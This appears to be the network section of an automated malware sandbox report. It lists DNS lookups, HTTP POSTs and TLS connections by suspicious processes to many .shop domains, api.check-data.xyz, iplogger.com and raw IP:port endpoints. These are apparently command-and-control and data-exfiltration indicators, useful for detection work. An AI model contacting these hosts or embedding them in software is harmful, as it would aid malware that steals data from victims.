                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 3.80.150.121:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    service-domain.xyz
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nPaSoab.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4.4kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    12
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.217.16.238:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients2.google.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nPaSoab.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.4kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9.5kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    16
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 216.58.201.97:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients2.googleusercontent.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nPaSoab.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    66.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    57
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    54
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 3.80.150.121:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    service-domain.xyz
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    BOjWjPK.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4.4kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    12
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:9090
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GameSyncLinks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    308 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.217.16.238:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients2.google.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nPaSoab.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.5kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 35.82.94.151:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://api.check-data.xyz/api2/google_api_ifi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    576 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://api.check-data.xyz/api2/google_api_ifi

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 127.0.0.1:14343
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GameSyncLinks.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 77.221.151.47:8080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PiercingNetLink.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    353 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    268 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    56.132.233.193.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.4kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    20
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    20

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    56.132.233.193.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.8.8.8.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    affordcharmcropwo.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.181.34
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.67.211

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cleartotalfisherwo.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.72.132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.185.32

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    34.181.67.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    enthusiasimtitleow.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.18.233
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.183.226

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    234.132.233.193.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    communicationgenerwo.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.83.19
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.166.251

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    143.23.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    miniaturefinerninewjs.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.173.139
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.30.191

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    88.20.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    plaintediousidowsko.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.53.146
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.213.139

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    onlycitylink.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.182.192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.18.166

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    firstfirecar.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.60.76
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.193.220

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    139.173.67.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    19.128.172.185.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    77.190.18.2.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11.227.111.52.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ocsp.pki.goog

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.187.195

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    api.check-data.xyz

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    35.82.94.151
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    44.231.33.228

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    132.72.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.9kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    17
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    17

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    132.72.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dismissalcylinderhostw.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.22.160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.205.132

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    125.44.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    67.113.215.185.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pillowbrocccolipe.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.144.218
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.47.56

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    19.83.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    obsceneclassyjuwks.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.20.88
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.192.5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    156.59.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pastebin.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.19.24
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.20.4.235
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.20.3.235

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    realdeepai.org

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.193.79
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.90.14

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    jonathantwo.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.176.131
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.31.124

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    146.53.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    iplogger.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.188.178
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.76.57

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    67.65.42.5.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    195.187.250.142.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    service-domain.xyz

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3.80.150.121

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10.178.250.142.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    worryfillvolcawoi.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    136 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    100 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    worryfillvolcawoi.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    worryfillvolcawoi.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.44.125
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.199.191

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    160.22.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    210 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    235 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    160.22.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    zippyfinickysofwps.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    zippyfinickysofwps.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.148.231
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.39.216

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    233.18.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    214 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    237 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    233.18.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    diskretainvigorousiw.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    diskretainvigorousiw.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.23.143
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.211.165

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    218.144.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    377 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    670 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    218.144.67.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acceptabledcooeprs.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.59.156
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.180.137

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    231.148.67.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    yip.su

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.79.77
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.169.89

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nic-it.nl

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    210.182.29.70
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    190.218.34.80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    190.220.21.28
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    175.138.146.92
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    190.13.174.91
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    186.13.17.220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    179.159.229.64
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    179.27.75.59
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    186.182.55.44
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    92.36.226.66

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sweetsquarediaslw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    607 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sweetsquarediaslw.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.44.201
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.203.170

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    holicisticscrarws.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.183.72
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.40.92

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    77.79.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    30.186.67.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ipinfo.io

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    34.117.186.192

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ocsp.pki.goog

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.187.195

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    240.143.123.92.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    73.190.18.2.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    151.94.82.35.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    24.19.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    397 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    736 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    24.19.67.172.in-addr.arpa

